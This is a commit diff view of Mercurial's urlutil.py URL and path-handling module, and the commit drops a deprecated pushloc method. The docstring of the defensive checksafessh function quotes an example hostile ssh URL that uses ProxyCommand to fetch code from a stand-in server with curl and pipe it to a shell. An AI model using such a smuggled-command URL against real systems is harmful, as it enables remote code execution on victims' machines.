##// END OF EJS Templates
cleanup: drop `path.pushloc` deprecated since 6.5...
marmoute -
r52029:591845f8 default
parent child Browse files
Show More
@@ -1,981 +1,973 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from .. import (
13 13 encoding,
14 14 error,
15 15 pycompat,
16 16 urllibcompat,
17 17 util,
18 18 )
19 19
20 20 from . import (
21 21 stringutil,
22 22 )
23 23
24 24 from ..revlogutils import (
25 25 constants as revlog_constants,
26 26 )
27 27
28 28
29 29 if pycompat.TYPE_CHECKING:
30 30 from typing import (
31 31 Union,
32 32 )
33 33
34 34 urlreq = urllibcompat.urlreq
35 35
36 36
37 37 def getport(port):
38 38 # type: (Union[bytes, int]) -> int
39 39 """Return the port for a given network service.
40 40
41 41 If port is an integer, it's returned as is. If it's a string, it's
42 42 looked up using socket.getservbyname(). If there's no matching
43 43 service, error.Abort is raised.
44 44 """
45 45 try:
46 46 return int(port)
47 47 except ValueError:
48 48 pass
49 49
50 50 try:
51 51 return socket.getservbyname(pycompat.sysstr(port))
52 52 except socket.error:
53 53 raise error.Abort(
54 54 _(b"no port number associated with service '%s'") % port
55 55 )
56 56
57 57
58 58 class url:
59 59 r"""Reliable URL parser.
60 60
61 61 This parses URLs and provides attributes for the following
62 62 components:
63 63
64 64 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
65 65
66 66 Missing components are set to None. The only exception is
67 67 fragment, which is set to '' if present but empty.
68 68
69 69 If parsefragment is False, fragment is included in query. If
70 70 parsequery is False, query is included in path. If both are
71 71 False, both fragment and query are included in path.
72 72
73 73 See http://www.ietf.org/rfc/rfc2396.txt for more information.
74 74
75 75 Note that for backward compatibility reasons, bundle URLs do not
76 76 take host names. That means 'bundle://../' has a path of '../'.
77 77
78 78 Examples:
79 79
80 80 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
81 81 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
82 82 >>> url(b'ssh://[::1]:2200//home/joe/repo')
83 83 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
84 84 >>> url(b'file:///home/joe/repo')
85 85 <url scheme: 'file', path: '/home/joe/repo'>
86 86 >>> url(b'file:///c:/temp/foo/')
87 87 <url scheme: 'file', path: 'c:/temp/foo/'>
88 88 >>> url(b'bundle:foo')
89 89 <url scheme: 'bundle', path: 'foo'>
90 90 >>> url(b'bundle://../foo')
91 91 <url scheme: 'bundle', path: '../foo'>
92 92 >>> url(br'c:\foo\bar')
93 93 <url path: 'c:\\foo\\bar'>
94 94 >>> url(br'\\blah\blah\blah')
95 95 <url path: '\\\\blah\\blah\\blah'>
96 96 >>> url(br'\\blah\blah\blah#baz')
97 97 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
98 98 >>> url(br'file:///C:\users\me')
99 99 <url scheme: 'file', path: 'C:\\users\\me'>
100 100
101 101 Authentication credentials:
102 102
103 103 >>> url(b'ssh://joe:xyz@x/repo')
104 104 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
105 105 >>> url(b'ssh://joe@x/repo')
106 106 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
107 107
108 108 Query strings and fragments:
109 109
110 110 >>> url(b'http://host/a?b#c')
111 111 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
112 112 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
113 113 <url scheme: 'http', host: 'host', path: 'a?b#c'>
114 114
115 115 Empty path:
116 116
117 117 >>> url(b'')
118 118 <url path: ''>
119 119 >>> url(b'#a')
120 120 <url path: '', fragment: 'a'>
121 121 >>> url(b'http://host/')
122 122 <url scheme: 'http', host: 'host', path: ''>
123 123 >>> url(b'http://host/#a')
124 124 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
125 125
126 126 Only scheme:
127 127
128 128 >>> url(b'http:')
129 129 <url scheme: 'http'>
130 130 """
131 131
132 132 _safechars = b"!~*'()+"
133 133 _safepchars = b"/!~*'()+:\\"
134 134 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
135 135
136 136 def __init__(self, path, parsequery=True, parsefragment=True):
137 137 # type: (bytes, bool, bool) -> None
138 138 # We slowly chomp away at path until we have only the path left
139 139 self.scheme = self.user = self.passwd = self.host = None
140 140 self.port = self.path = self.query = self.fragment = None
141 141 self._localpath = True
142 142 self._hostport = b''
143 143 self._origpath = path
144 144
145 145 if parsefragment and b'#' in path:
146 146 path, self.fragment = path.split(b'#', 1)
147 147
148 148 # special case for Windows drive letters and UNC paths
149 149 if hasdriveletter(path) or path.startswith(b'\\\\'):
150 150 self.path = path
151 151 return
152 152
153 153 # For compatibility reasons, we can't handle bundle paths as
154 154 # normal URLS
155 155 if path.startswith(b'bundle:'):
156 156 self.scheme = b'bundle'
157 157 path = path[7:]
158 158 if path.startswith(b'//'):
159 159 path = path[2:]
160 160 self.path = path
161 161 return
162 162
163 163 if self._matchscheme(path):
164 164 parts = path.split(b':', 1)
165 165 if parts[0]:
166 166 self.scheme, path = parts
167 167 self._localpath = False
168 168
169 169 if not path:
170 170 path = None
171 171 if self._localpath:
172 172 self.path = b''
173 173 return
174 174 else:
175 175 if self._localpath:
176 176 self.path = path
177 177 return
178 178
179 179 if parsequery and b'?' in path:
180 180 path, self.query = path.split(b'?', 1)
181 181 if not path:
182 182 path = None
183 183 if not self.query:
184 184 self.query = None
185 185
186 186 # // is required to specify a host/authority
187 187 if path and path.startswith(b'//'):
188 188 parts = path[2:].split(b'/', 1)
189 189 if len(parts) > 1:
190 190 self.host, path = parts
191 191 else:
192 192 self.host = parts[0]
193 193 path = None
194 194 if not self.host:
195 195 self.host = None
196 196 # path of file:///d is /d
197 197 # path of file:///d:/ is d:/, not /d:/
198 198 if path and not hasdriveletter(path):
199 199 path = b'/' + path
200 200
201 201 if self.host and b'@' in self.host:
202 202 self.user, self.host = self.host.rsplit(b'@', 1)
203 203 if b':' in self.user:
204 204 self.user, self.passwd = self.user.split(b':', 1)
205 205 if not self.host:
206 206 self.host = None
207 207
208 208 # Don't split on colons in IPv6 addresses without ports
209 209 if (
210 210 self.host
211 211 and b':' in self.host
212 212 and not (
213 213 self.host.startswith(b'[') and self.host.endswith(b']')
214 214 )
215 215 ):
216 216 self._hostport = self.host
217 217 self.host, self.port = self.host.rsplit(b':', 1)
218 218 if not self.host:
219 219 self.host = None
220 220
221 221 if (
222 222 self.host
223 223 and self.scheme == b'file'
224 224 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
225 225 ):
226 226 raise error.Abort(
227 227 _(b'file:// URLs can only refer to localhost')
228 228 )
229 229
230 230 self.path = path
231 231
232 232 # leave the query string escaped
233 233 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
234 234 v = getattr(self, a)
235 235 if v is not None:
236 236 setattr(self, a, urlreq.unquote(v))
237 237
238 238 def copy(self):
239 239 u = url(b'temporary useless value')
240 240 u.path = self.path
241 241 u.scheme = self.scheme
242 242 u.user = self.user
243 243 u.passwd = self.passwd
244 244 u.host = self.host
245 245 u.port = self.port
246 246 u.query = self.query
247 247 u.fragment = self.fragment
248 248 u._localpath = self._localpath
249 249 u._hostport = self._hostport
250 250 u._origpath = self._origpath
251 251 return u
252 252
253 253 @encoding.strmethod
254 254 def __repr__(self):
255 255 attrs = []
256 256 for a in (
257 257 'scheme',
258 258 'user',
259 259 'passwd',
260 260 'host',
261 261 'port',
262 262 'path',
263 263 'query',
264 264 'fragment',
265 265 ):
266 266 v = getattr(self, a)
267 267 if v is not None:
268 268 line = b'%s: %r'
269 269 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
270 270 attrs.append(line)
271 271 return b'<url %s>' % b', '.join(attrs)
272 272
273 273 def __bytes__(self):
274 274 r"""Join the URL's components back into a URL string.
275 275
276 276 Examples:
277 277
278 278 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 279 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 280 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 281 'http://user:pw@host:80/?foo=bar&baz=42'
282 282 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 283 'http://user:pw@host:80/?foo=bar%3dbaz'
284 284 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 285 'ssh://user:pw@[::1]:2200//home/joe#'
286 286 >>> bytes(url(b'http://localhost:80//'))
287 287 'http://localhost:80//'
288 288 >>> bytes(url(b'http://localhost:80/'))
289 289 'http://localhost:80/'
290 290 >>> bytes(url(b'http://localhost:80'))
291 291 'http://localhost:80/'
292 292 >>> bytes(url(b'bundle:foo'))
293 293 'bundle:foo'
294 294 >>> bytes(url(b'bundle://../foo'))
295 295 'bundle:../foo'
296 296 >>> bytes(url(b'path'))
297 297 'path'
298 298 >>> bytes(url(b'file:///tmp/foo/bar'))
299 299 'file:///tmp/foo/bar'
300 300 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 301 'file:///c:/tmp/foo/bar'
302 302 >>> print(url(br'bundle:foo\bar'))
303 303 bundle:foo\bar
304 304 >>> print(url(br'file:///D:\data\hg'))
305 305 file:///D:\data\hg
306 306 """
307 307 if self._localpath:
308 308 s = self.path
309 309 if self.scheme == b'bundle':
310 310 s = b'bundle:' + s
311 311 if self.fragment:
312 312 s += b'#' + self.fragment
313 313 return s
314 314
315 315 s = self.scheme + b':'
316 316 if self.user or self.passwd or self.host:
317 317 s += b'//'
318 318 elif self.scheme and (
319 319 not self.path
320 320 or self.path.startswith(b'/')
321 321 or hasdriveletter(self.path)
322 322 ):
323 323 s += b'//'
324 324 if hasdriveletter(self.path):
325 325 s += b'/'
326 326 if self.user:
327 327 s += urlreq.quote(self.user, safe=self._safechars)
328 328 if self.passwd:
329 329 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 330 if self.user or self.passwd:
331 331 s += b'@'
332 332 if self.host:
333 333 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 334 s += urlreq.quote(self.host)
335 335 else:
336 336 s += self.host
337 337 if self.port:
338 338 s += b':' + urlreq.quote(self.port)
339 339 if self.host:
340 340 s += b'/'
341 341 if self.path:
342 342 # TODO: similar to the query string, we should not unescape the
343 343 # path when we store it, the path might contain '%2f' = '/',
344 344 # which we should *not* escape.
345 345 s += urlreq.quote(self.path, safe=self._safepchars)
346 346 if self.query:
347 347 # we store the query in escaped form.
348 348 s += b'?' + self.query
349 349 if self.fragment is not None:
350 350 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 351 return s
352 352
353 353 __str__ = encoding.strmethod(__bytes__)
354 354
355 355 def authinfo(self):
356 356 user, passwd = self.user, self.passwd
357 357 try:
358 358 self.user, self.passwd = None, None
359 359 s = bytes(self)
360 360 finally:
361 361 self.user, self.passwd = user, passwd
362 362 if not self.user:
363 363 return (s, None)
364 364 # authinfo[1] is passed to urllib2 password manager, and its
365 365 # URIs must not contain credentials. The host is passed in the
366 366 # URIs list because Python < 2.4.3 uses only that to search for
367 367 # a password.
368 368 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369 369
370 370 def isabs(self):
371 371 if self.scheme and self.scheme != b'file':
372 372 return True # remote URL
373 373 if hasdriveletter(self.path):
374 374 return True # absolute for our purposes - can't be joined()
375 375 if self.path.startswith(br'\\'):
376 376 return True # Windows UNC path
377 377 if self.path.startswith(b'/'):
378 378 return True # POSIX-style
379 379 return False
380 380
381 381 def localpath(self):
382 382 # type: () -> bytes
383 383 if self.scheme == b'file' or self.scheme == b'bundle':
384 384 path = self.path or b'/'
385 385 # For Windows, we need to promote hosts containing drive
386 386 # letters to paths with drive letters.
387 387 if hasdriveletter(self._hostport):
388 388 path = self._hostport + b'/' + self.path
389 389 elif (
390 390 self.host is not None and self.path and not hasdriveletter(path)
391 391 ):
392 392 path = b'/' + path
393 393 return path
394 394 return self._origpath
395 395
396 396 def islocal(self):
397 397 '''whether localpath will return something that posixfile can open'''
398 398 return (
399 399 not self.scheme
400 400 or self.scheme == b'file'
401 401 or self.scheme == b'bundle'
402 402 )
403 403
404 404
405 405 def hasscheme(path):
406 406 # type: (bytes) -> bool
407 407 return bool(url(path).scheme) # cast to help pytype
408 408
409 409
410 410 def hasdriveletter(path):
411 411 # type: (bytes) -> bool
412 412 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413 413
414 414
415 415 def urllocalpath(path):
416 416 # type: (bytes) -> bytes
417 417 return url(path, parsequery=False, parsefragment=False).localpath()
418 418
419 419
420 420 def checksafessh(path):
421 421 # type: (bytes) -> None
422 422 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423 423
424 424 This is a sanity check for ssh urls. ssh will parse the first item as
425 425 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 426 Let's prevent these potentially exploited urls entirely and warn the
427 427 user.
428 428
429 429 Raises an error.Abort when the url is unsafe.
430 430 """
431 431 path = urlreq.unquote(path)
432 432 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 433 raise error.Abort(
434 434 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 435 )
436 436
437 437
438 438 def hidepassword(u):
439 439 # type: (bytes) -> bytes
440 440 '''hide user credential in a url string'''
441 441 u = url(u)
442 442 if u.passwd:
443 443 u.passwd = b'***'
444 444 return bytes(u)
445 445
446 446
447 447 def removeauth(u):
448 448 # type: (bytes) -> bytes
449 449 '''remove all authentication information from a url string'''
450 450 u = url(u)
451 451 u.user = u.passwd = None
452 452 return bytes(u)
453 453
454 454
455 455 def list_paths(ui, target_path=None):
456 456 """list all the (name, paths) in the passed ui"""
457 457 result = []
458 458 if target_path is None:
459 459 for name, paths in sorted(ui.paths.items()):
460 460 for p in paths:
461 461 result.append((name, p))
462 462
463 463 else:
464 464 for path in ui.paths.get(target_path, []):
465 465 result.append((target_path, path))
466 466 return result
467 467
468 468
469 469 def try_path(ui, url):
470 470 """try to build a path from a url
471 471
472 472 Return None if no Path could built.
473 473 """
474 474 try:
475 475 # we pass the ui instance are warning might need to be issued
476 476 return path(ui, None, rawloc=url)
477 477 except ValueError:
478 478 return None
479 479
480 480
481 481 def get_push_paths(repo, ui, dests):
482 482 """yields all the `path` selected as push destination by `dests`"""
483 483 if not dests:
484 484 if b'default-push' in ui.paths:
485 485 for p in ui.paths[b'default-push']:
486 486 yield p.get_push_variant()
487 487 elif b'default' in ui.paths:
488 488 for p in ui.paths[b'default']:
489 489 yield p.get_push_variant()
490 490 else:
491 491 raise error.ConfigError(
492 492 _(b'default repository not configured!'),
493 493 hint=_(b"see 'hg help config.paths'"),
494 494 )
495 495 else:
496 496 for dest in dests:
497 497 if dest in ui.paths:
498 498 for p in ui.paths[dest]:
499 499 yield p.get_push_variant()
500 500 else:
501 501 path = try_path(ui, dest)
502 502 if path is None:
503 503 msg = _(b'repository %s does not exist')
504 504 msg %= dest
505 505 raise error.RepoError(msg)
506 506 yield path.get_push_variant()
507 507
508 508
509 509 def get_pull_paths(repo, ui, sources):
510 510 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 511 if not sources:
512 512 sources = [b'default']
513 513 for source in sources:
514 514 if source in ui.paths:
515 515 for p in ui.paths[source]:
516 516 yield p
517 517 else:
518 518 p = path(ui, None, source, validate_path=False)
519 519 yield p
520 520
521 521
522 522 def get_unique_push_path(action, repo, ui, dest=None):
523 523 """return a unique `path` or abort if multiple are found
524 524
525 525 This is useful for command and action that does not support multiple
526 526 destination (yet).
527 527
528 528 The `action` parameter will be used for the error message.
529 529 """
530 530 if dest is None:
531 531 dests = []
532 532 else:
533 533 dests = [dest]
534 534 dests = list(get_push_paths(repo, ui, dests))
535 535 if len(dests) != 1:
536 536 if dest is None:
537 537 msg = _(
538 538 b"default path points to %d urls while %s only supports one"
539 539 )
540 540 msg %= (len(dests), action)
541 541 else:
542 542 msg = _(b"path points to %d urls while %s only supports one: %s")
543 543 msg %= (len(dests), action, dest)
544 544 raise error.Abort(msg)
545 545 return dests[0]
546 546
547 547
548 548 def get_unique_pull_path_obj(action, ui, source=None):
549 549 """return a unique `(path, branch)` or abort if multiple are found
550 550
551 551 This is useful for command and action that does not support multiple
552 552 destination (yet).
553 553
554 554 The `action` parameter will be used for the error message.
555 555
556 556 note: Ideally, this function would be called `get_unique_pull_path` to
557 557 mirror the `get_unique_push_path`, but the name was already taken.
558 558 """
559 559 sources = []
560 560 if source is not None:
561 561 sources.append(source)
562 562
563 563 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 564 path_count = len(pull_paths)
565 565 if path_count != 1:
566 566 if source is None:
567 567 msg = _(
568 568 b"default path points to %d urls while %s only supports one"
569 569 )
570 570 msg %= (path_count, action)
571 571 else:
572 572 msg = _(b"path points to %d urls while %s only supports one: %s")
573 573 msg %= (path_count, action, source)
574 574 raise error.Abort(msg)
575 575 return pull_paths[0]
576 576
577 577
578 578 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 579 """return a unique `(url, branch)` or abort if multiple are found
580 580
581 581 See `get_unique_pull_path_obj` for details.
582 582 """
583 583 path = get_unique_pull_path_obj(action, ui, source=source)
584 584 return parseurl(path.rawloc, default_branches)
585 585
586 586
587 587 def get_clone_path_obj(ui, source):
588 588 """return the `(origsource, url, branch)` selected as clone source"""
589 589 if source == b'':
590 590 return None
591 591 return get_unique_pull_path_obj(b'clone', ui, source=source)
592 592
593 593
594 594 def get_clone_path(ui, source, default_branches=None):
595 595 """return the `(origsource, url, branch)` selected as clone source"""
596 596 path = get_clone_path_obj(ui, source)
597 597 if path is None:
598 598 return (b'', b'', (None, default_branches))
599 599 if default_branches is None:
600 600 default_branches = []
601 601 branches = (path.branch, default_branches)
602 602 return path.rawloc, path.loc, branches
603 603
604 604
605 605 def parseurl(path, branches=None):
606 606 '''parse url#branch, returning (url, (branch, branches))'''
607 607 u = url(path)
608 608 branch = None
609 609 if u.fragment:
610 610 branch = u.fragment
611 611 u.fragment = None
612 612 return bytes(u), (branch, branches or [])
613 613
614 614
615 615 class paths(dict):
616 616 """Represents a collection of paths and their configs.
617 617
618 618 Data is initially derived from ui instances and the config files they have
619 619 loaded.
620 620 """
621 621
622 622 def __init__(self, ui):
623 623 dict.__init__(self)
624 624
625 625 home_path = os.path.expanduser(b'~')
626 626
627 627 for name, value in ui.configitems(b'paths', ignoresub=True):
628 628 # No location is the same as not existing.
629 629 if not value:
630 630 continue
631 631 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 632 s = ui.configsource(b'paths', name)
633 633 root_key = (name, value, s)
634 634 root = ui._path_to_root.get(root_key, home_path)
635 635
636 636 multi_url = sub_opts.get(b'multi-urls')
637 637 if multi_url is not None and stringutil.parsebool(multi_url):
638 638 base_locs = stringutil.parselist(value)
639 639 else:
640 640 base_locs = [value]
641 641
642 642 paths = []
643 643 for loc in base_locs:
644 644 loc = os.path.expandvars(loc)
645 645 loc = os.path.expanduser(loc)
646 646 if not hasscheme(loc) and not os.path.isabs(loc):
647 647 loc = os.path.normpath(os.path.join(root, loc))
648 648 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 649 paths.append(p)
650 650 self[name] = paths
651 651
652 652 for name, old_paths in sorted(self.items()):
653 653 new_paths = []
654 654 for p in old_paths:
655 655 new_paths.extend(_chain_path(p, ui, self))
656 656 self[name] = new_paths
657 657
658 658
659 659 _pathsuboptions = {}
660 660 # a dictionnary of methods that can be used to format a sub-option value
661 661 path_suboptions_display = {}
662 662
663 663
664 664 def pathsuboption(option, attr, display=pycompat.bytestr):
665 665 """Decorator used to declare a path sub-option.
666 666
667 667 Arguments are the sub-option name and the attribute it should set on
668 668 ``path`` instances.
669 669
670 670 The decorated function will receive as arguments a ``ui`` instance,
671 671 ``path`` instance, and the string value of this option from the config.
672 672 The function should return the value that will be set on the ``path``
673 673 instance.
674 674
675 675 The optional `display` argument is a function that can be used to format
676 676 the value when displayed to the user (like in `hg paths` for example).
677 677
678 678 This decorator can be used to perform additional verification of
679 679 sub-options and to change the type of sub-options.
680 680 """
681 681 if isinstance(attr, bytes):
682 682 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
683 683 util.nouideprecwarn(msg, b"6.6", stacklevel=2)
684 684 attr = attr.decode('ascii')
685 685
686 686 def register(func):
687 687 _pathsuboptions[option] = (attr, func)
688 688 path_suboptions_display[option] = display
689 689 return func
690 690
691 691 return register
692 692
693 693
694 694 def display_bool(value):
695 695 """display a boolean suboption back to the user"""
696 696 return b'yes' if value else b'no'
697 697
698 698
699 699 @pathsuboption(b'pushurl', '_pushloc')
700 700 def pushurlpathoption(ui, path, value):
701 701 u = url(value)
702 702 # Actually require a URL.
703 703 if not u.scheme:
704 704 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
705 705 msg %= (path.name, value)
706 706 ui.warn(msg)
707 707 return None
708 708
709 709 # Don't support the #foo syntax in the push URL to declare branch to
710 710 # push.
711 711 if u.fragment:
712 712 ui.warn(
713 713 _(
714 714 b'("#fragment" in paths.%s:pushurl not supported; '
715 715 b'ignoring)\n'
716 716 )
717 717 % path.name
718 718 )
719 719 u.fragment = None
720 720
721 721 return bytes(u)
722 722
723 723
724 724 @pathsuboption(b'pushrev', 'pushrev')
725 725 def pushrevpathoption(ui, path, value):
726 726 return value
727 727
728 728
729 729 SUPPORTED_BOOKMARKS_MODES = {
730 730 b'default',
731 731 b'mirror',
732 732 b'ignore',
733 733 }
734 734
735 735
736 736 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
737 737 def bookmarks_mode_option(ui, path, value):
738 738 if value not in SUPPORTED_BOOKMARKS_MODES:
739 739 path_name = path.name
740 740 if path_name is None:
741 741 # this is an "anonymous" path, config comes from the global one
742 742 path_name = b'*'
743 743 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
744 744 msg %= (path_name, value)
745 745 ui.warn(msg)
746 746 if value == b'default':
747 747 value = None
748 748 return value
749 749
750 750
751 751 DELTA_REUSE_POLICIES = {
752 752 b'default': None,
753 753 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
754 754 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
755 755 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
756 756 }
757 757 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
758 758
759 759
760 760 @pathsuboption(
761 761 b'pulled-delta-reuse-policy',
762 762 'delta_reuse_policy',
763 763 display=DELTA_REUSE_POLICIES_NAME.get,
764 764 )
765 765 def delta_reuse_policy(ui, path, value):
766 766 if value not in DELTA_REUSE_POLICIES:
767 767 path_name = path.name
768 768 if path_name is None:
769 769 # this is an "anonymous" path, config comes from the global one
770 770 path_name = b'*'
771 771 msg = _(
772 772 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
773 773 )
774 774 msg %= (path_name, value)
775 775 ui.warn(msg)
776 776 return DELTA_REUSE_POLICIES.get(value)
777 777
778 778
779 779 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
780 780 def multiurls_pathoption(ui, path, value):
781 781 res = stringutil.parsebool(value)
782 782 if res is None:
783 783 ui.warn(
784 784 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
785 785 )
786 786 res = False
787 787 return res
788 788
789 789
790 790 def _chain_path(base_path, ui, paths):
791 791 """return the result of "path://" logic applied on a given path"""
792 792 new_paths = []
793 793 if base_path.url.scheme != b'path':
794 794 new_paths.append(base_path)
795 795 else:
796 796 assert base_path.url.path is None
797 797 sub_paths = paths.get(base_path.url.host)
798 798 if sub_paths is None:
799 799 m = _(b'cannot use `%s`, "%s" is not a known path')
800 800 m %= (base_path.rawloc, base_path.url.host)
801 801 raise error.Abort(m)
802 802 for subpath in sub_paths:
803 803 path = base_path.copy()
804 804 if subpath.raw_url.scheme == b'path':
805 805 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
806 806 m %= (path.rawloc, path.url.host)
807 807 raise error.Abort(m)
808 808 path.url = subpath.url
809 809 path.rawloc = subpath.rawloc
810 810 path.loc = subpath.loc
811 811 if path.branch is None:
812 812 path.branch = subpath.branch
813 813 else:
814 814 base = path.rawloc.rsplit(b'#', 1)[0]
815 815 path.rawloc = b'%s#%s' % (base, path.branch)
816 816 suboptions = subpath._all_sub_opts.copy()
817 817 suboptions.update(path._own_sub_opts)
818 818 path._apply_suboptions(ui, suboptions)
819 819 new_paths.append(path)
820 820 return new_paths
821 821
822 822
823 823 class path:
824 824 """Represents an individual path and its configuration."""
825 825
826 826 def __init__(
827 827 self,
828 828 ui=None,
829 829 name=None,
830 830 rawloc=None,
831 831 suboptions=None,
832 832 validate_path=True,
833 833 ):
834 834 """Construct a path from its config options.
835 835
836 836 ``ui`` is the ``ui`` instance the path is coming from.
837 837 ``name`` is the symbolic name of the path.
838 838 ``rawloc`` is the raw location, as defined in the config.
839 839 ``_pushloc`` is the raw locations pushes should be made to.
840 840 (see the `get_push_variant` method)
841 841
842 842 If ``name`` is not defined, we require that the location be a) a local
843 843 filesystem path with a .hg directory or b) a URL. If not,
844 844 ``ValueError`` is raised.
845 845 """
846 846 if ui is None:
847 847 # used in copy
848 848 assert name is None
849 849 assert rawloc is None
850 850 assert suboptions is None
851 851 return
852 852
853 853 if not rawloc:
854 854 raise ValueError(b'rawloc must be defined')
855 855
856 856 self.name = name
857 857
858 858 # set by path variant to point to their "non-push" version
859 859 self.main_path = None
860 860 self._setup_url(rawloc)
861 861
862 862 if validate_path:
863 863 self._validate_path()
864 864
865 865 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
866 866 self._own_sub_opts = {}
867 867 if suboptions is not None:
868 868 self._own_sub_opts = suboptions.copy()
869 869 sub_opts.update(suboptions)
870 870 self._all_sub_opts = sub_opts.copy()
871 871
872 872 self._apply_suboptions(ui, sub_opts)
873 873
874 874 def _setup_url(self, rawloc):
875 875 # Locations may define branches via syntax <base>#<branch>.
876 876 u = url(rawloc)
877 877 branch = None
878 878 if u.fragment:
879 879 branch = u.fragment
880 880 u.fragment = None
881 881
882 882 self.url = u
883 883 # the url from the config/command line before dealing with `path://`
884 884 self.raw_url = u.copy()
885 885 self.branch = branch
886 886
887 887 self.rawloc = rawloc
888 888 self.loc = b'%s' % u
889 889
890 890 def copy(self, new_raw_location=None):
891 891 """make a copy of this path object
892 892
893 893 When `new_raw_location` is set, the new path will point to it.
894 894 This is used by the scheme extension so expand the scheme.
895 895 """
896 896 new = self.__class__()
897 897 for k, v in self.__dict__.items():
898 898 new_copy = getattr(v, 'copy', None)
899 899 if new_copy is not None:
900 900 v = new_copy()
901 901 new.__dict__[k] = v
902 902 if new_raw_location is not None:
903 903 new._setup_url(new_raw_location)
904 904 return new
905 905
906 906 @property
907 907 def is_push_variant(self):
908 908 """is this a path variant to be used for pushing"""
909 909 return self.main_path is not None
910 910
911 911 def get_push_variant(self):
912 912 """get a "copy" of the path, but suitable for pushing
913 913
914 914 This means using the value of the `pushurl` option (if any) as the url.
915 915
916 916 The original path is available in the `main_path` attribute.
917 917 """
918 918 if self.main_path:
919 919 return self
920 920 new = self.copy()
921 921 new.main_path = self
922 922 if self._pushloc:
923 923 new._setup_url(self._pushloc)
924 924 return new
925 925
926 def pushloc(self):
927 """compatibility layer for the deprecated attributes"""
928 from .. import util # avoid a cycle
929
930 msg = "don't use path.pushloc, use path.get_push_variant()"
931 util.nouideprecwarn(msg, b"6.5")
932 return self._pushloc
933
934 926 def _validate_path(self):
935 927 # When given a raw location but not a symbolic name, validate the
936 928 # location is valid.
937 929 if (
938 930 not self.name
939 931 and not self.url.scheme
940 932 and not self._isvalidlocalpath(self.loc)
941 933 ):
942 934 raise ValueError(
943 935 b'location is not a URL or path to a local '
944 936 b'repo: %s' % self.rawloc
945 937 )
946 938
947 939 def _apply_suboptions(self, ui, sub_options):
948 940 # Now process the sub-options. If a sub-option is registered, its
949 941 # attribute will always be present. The value will be None if there
950 942 # was no valid sub-option.
951 943 for suboption, (attr, func) in _pathsuboptions.items():
952 944 if suboption not in sub_options:
953 945 setattr(self, attr, None)
954 946 continue
955 947
956 948 value = func(ui, self, sub_options[suboption])
957 949 setattr(self, attr, value)
958 950
959 951 def _isvalidlocalpath(self, path):
960 952 """Returns True if the given path is a potentially valid repository.
961 953 This is its own function so that extensions can change the definition of
962 954 'valid' in this case (like when pulling from a git repo into a hg
963 955 one)."""
964 956 try:
965 957 return os.path.isdir(os.path.join(path, b'.hg'))
966 958 # Python 2 may return TypeError. Python 3, ValueError.
967 959 except (TypeError, ValueError):
968 960 return False
969 961
970 962 @property
971 963 def suboptions(self):
972 964 """Return sub-options and their values for this path.
973 965
974 966 This is intended to be used for presentation purposes.
975 967 """
976 968 d = {}
977 969 for subopt, (attr, _func) in _pathsuboptions.items():
978 970 value = getattr(self, attr)
979 971 if value is not None:
980 972 d[subopt] = value
981 973 return d
General Comments 0
You need to be logged in to leave comments. Login now